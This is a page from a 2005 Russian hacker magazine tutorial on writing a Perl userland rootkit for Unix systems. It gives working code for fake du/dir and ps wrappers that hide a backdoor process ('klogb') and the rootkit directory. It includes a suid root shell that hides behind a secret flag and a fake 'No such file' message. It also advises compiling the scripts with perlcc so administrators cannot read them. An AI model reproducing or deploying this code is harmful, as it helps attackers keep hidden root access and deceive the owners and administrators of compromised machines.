Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #80, АВГУСТ 2005 г.

Системный маскарад

Юрий Гольцев

Хакер, номер #080, стр. 080-058-3


Поскольку список скрываемых файлов – штука индивидуальная и подвижная, рационально создать универсальный код, чтобы в него в любой момент было можно что-то быстро дописать и главное, что бы это все работало. Поэтому первым делом в программе мы создадим массив с именами файлов, информацию о которых нужно изменять:

@fake_tools=("/usr/bin/dir","/usr/bin/du");

Затем напишем универсальную функцию для всех фэйковых файлов:

Функция, изменяющая информацию о модифицированных файлах на исходную

sub checkz {

@fak=split(/\//,$fake); #разбиваем по «/» путь до фэйковой тулзы

if (scalar(@fak)==3){$fak[3]=$fak[2];$fak[2]=$fak[1]}

if (($arg=~/$fak[3]/)&&($pwd eq "/$fak[1]/$fak[2]") || ($arg eq "$fake")) { $diz=`/bin/rootkit/du $kit_path/$fak[3]`; #достаем данные об оригинале

@ediz=split(/\t/,$diz);

if ($duz=~/$fak[3]/) {

print "$ediz[0]\t$fak[3]\n";exit(); } #выводим часть данных об оригинале

if ($duz=="$fake") { print "$ediz[0]\t$fake\n"; exit(); }

}}

Абсолютно такой же код можно реализовать и для ls. Только придется немного подправить вывод уже фэйкового ls'а. Конечную реализацию ты найдешь на нашем диске.

[три части готовы]

Итак, поздравляю, третья часть нашего руткита готова. Сейчас мы перейдем к самому главному: к сокрытию наших процессов. Для этого нам необходимо сделать оболочку для ps:

[оболочка для ps]

#!/usr/bin/perl

$kit_path="/bin/rootkit";

$proc="klogb"; #имя бэкдор-процесса в системе

$t=0;

@ps=`/bin/ps @ARGV`;

foreach $arg(@ARGV) {

if ($arg=~/$proc/) { $arg="" } }

foreach $ps(@ps) {

if ($ps=~/$proc/) { $ps="" } #прячем секретный процесс

if ($ps=~/$kit_path/){$ps=""} #если запущенный процесс находится в секретной папке, прячем и его

if (($ps=~/perl/) && ($ps=~/ps/)){$ps=""} #при запуске /bin/ps в системе появятся 2 новых процесса: perl /bin/ps и ps. Убираем и их.

if ($ps=~/$kit_path\/ps/) {

@pss=split(/ /,$ps); foreach $pss(@pss) #вместо /bin/rootkit/ps пишем просто «ps»

{if ($pss=~/ps/){$pss="ps"}$t++;

if ($t==scalar(@pss)) {print "$pss"}

else {print "$pss ";}};}

else {print "$ps";}}

Все! Фэйк-оболочка для ps готова к употреблению. Для удобства осталось лишь накатать скрипт для работы в системе – например, для быстрого получения суидного шелла. Я решил не изобретать велосипед и просто приведу скрипт, который наколбасил Форб в одном из прошедших номеров:

#!/usr/bin/suidperl -U

foreach $arg(@ARGV) {

if ($arg eq "-suid_r0x") {

while (1){

print "[root\@owned] ";

chomp($cmd=<STDIN>);

print `$cmd`; }

}

else { print "No such file or directory\n"; exit() }

}

Да, не забудь поставить бит +s этому сценарию :).

[ничего не забыли?]

Как видишь, ничего сложного! Немного фантазии — и руткит готов. На диске ты можешь найти полный руткит-комплект, в состав которого входят скрипты-оболочки для утилит du, dir, ls, find, locate, netstat и ps. Так, ничего не забыли?

Забыли, приятель! Представь, к примеру, что кто-то захочет сделать cat для /bin/ls, что произойдет в этом случае? Он увидит содержимое нашего перловго скрипта и в момент пропалит всю мазу! Для того, чтобы этого не произошло, необходимо просто скомпилировать наши перловые скрипты в бинарные файлы утилитой perlcc, которая присутствует во всех unix-системах. Теперь, если кто-то сделает cat /bin/ls, то он увидит множество сомнительных символов, называемых в народе «зюзюками».

Назад на стр. 080-058-2  Содержание  Вперед на стр. 080-058-4